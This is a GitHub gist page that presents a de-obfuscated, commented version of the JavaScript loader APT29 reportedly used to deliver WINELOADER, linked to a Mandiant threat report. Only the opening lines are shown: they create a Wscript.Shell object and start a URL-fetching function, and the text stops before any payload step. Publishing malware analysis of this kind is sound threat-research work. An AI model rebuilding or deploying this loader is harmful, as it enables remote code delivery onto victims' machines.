Skip to content

Instantly share code, notes, and snippets.

View Shadow0ps's full-sized avatar
👋
Hi there. Nice to meet you.

Shadow0pz Shadow0ps

👋
Hi there. Nice to meet you.
View GitHub Profile
@Shadow0ps
Shadow0ps / APT29 WINELOADER SCRIPT.JS
Created March 25, 2024 23:18
An easier to read and understand version of the loader used by APT29 for WINELOADER. RE: https://www.mandiant.com/resources/blog/apt29-wineloader-german-political-parties
// Create a new ActiveXObject for Wscript.Shell
var shell = new ActiveXObject("Wscript.Shell");
// Define the Main function with a parameter for the URL
function Main(url) {
// Create a new XMLHttpRequest object
var request = new XMLHttpRequest();
// Define an event handler for when the request state changes
request.onreadystatechange = function () {